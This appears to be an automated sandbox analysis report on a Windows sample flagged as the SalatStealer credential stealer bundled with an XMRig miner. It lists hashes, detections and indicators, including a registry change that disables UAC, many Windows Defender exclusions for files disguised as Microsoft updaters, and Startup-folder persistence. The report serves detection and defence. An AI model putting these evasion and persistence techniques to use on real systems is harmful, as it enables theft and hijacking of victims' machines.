Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/09/2026, 21:28
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target file.exe
- Size 637KB
- Sample260924-1bejhasfma
- SHA256 040cfbf765c7fa78ae099c6cbb5e6d03e6c65270d5dee136ee251310a402692d
- MD5 f7b2f90781c797701bedd52748209ea7
- SHA1 22f74cc47ef5d3c7d5236a28ba0401a2ab014714
- SHA512 b95940005d77bc6172360ab598276116096802581f97b43c13d700c311dba56986d8fa623f9f59cbca3858cdadad5dc6a832ea4bb9b5bddc828c18517bde24f3
- SSDEEP 12288:bF91nyPh+c+U9b2t5jav45vlXsz0LFqc8BcbSlddNo:bF9d3U4Ht5vl+0qc6ml
- TLSH T148D4F13BB2A424FBE13096BB46911193A7E7F8998720D7E79A69360C2C53DDC4F39710
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 15 IoCs
resource yara_rule behavioral2/memory/4724-126-0x0000000000360000-0x0000000000FB7000-memory.dmp family_salatstealer behavioral2/memory/4724-127-0x0000000000360000-0x0000000000FB7000-memory.dmp family_salatstealer behavioral2/memory/4724-128-0x0000000000360000-0x0000000000FB7000-memory.dmp family_salatstealer behavioral2/memory/4724-129-0x0000000000360000-0x0000000000FB7000-memory.dmp family_salatstealer behavioral2/memory/4724-139-0x0000000000360000-0x0000000000FB7000-memory.dmp family_salatstealer behavioral2/memory/1348-145-0x0000000000CF0000-0x0000000001947000-memory.dmp family_salatstealer behavioral2/memory/4120-147-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-148-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-149-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-157-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-175-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-176-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-177-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-178-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer behavioral2/memory/4120-179-0x00000000004C0000-0x0000000001117000-memory.dmp family_salatstealer - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe - Windows security bypass 2 TTPs 64 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\SettingsSync.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\miner.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\miner.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\checker.exe = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\MicrosoftUpdateWorker.exe = "0" 0e5951620.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\checker.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateWorker.exe = "0" 0e5951620.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\miner.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\miner.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\xmrig.exe = "0" MicrosoftUpdateAssistant.exe - XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000d00000001c48f-121.dat family_xmrig behavioral2/files/0x000d00000001c48f-121.dat xmrig - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 51 4636 powershell.exe 52 4636 powershell.exe 53 4636 powershell.exe 54 4636 powershell.exe 55 4636 powershell.exe - Downloads MZ/PE file 2 IoCs
flow pid Process 8 120 certutil.exe 12 120 certutil.exe - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.vbs 0e5951620.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.vbs 0e5951620.exe - Executes dropped EXE 9 IoCs
pid Process 3380 0e5951620.exe 3372 0e5951620.exe 4724 dd.exe 1608 MicrosoftUpdateAssistant.exe 1876 MicrosoftUpdateAssistant.exe 3768 MicrosoftUpdateHealth.exe 2312 MicrosoftUpdateWorker.exe 4120 explorer.exe 1348 SecurityHealthSystray.exe - Windows security modification 2 TTPs 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\miner.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\SettingsSync.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateAssistant.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\miner.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateWorker.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\miner.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\checker.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\watchdog.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\watchdog.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Processes\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateHealth.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\checker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\COMWindows\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows\MicrosoftUpdateHealth.exe = "0" 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\WinInetCache\xmrig.exe = "0" MicrosoftUpdateAssistant.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions 0e5951620.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\MicrosoftUpdateWorker.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\MicrosoftUpdateAssistant.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\ReportQueue\SettingsSync.exe = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes = "0" MicrosoftUpdateAssistant.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\COMWindows = "0" 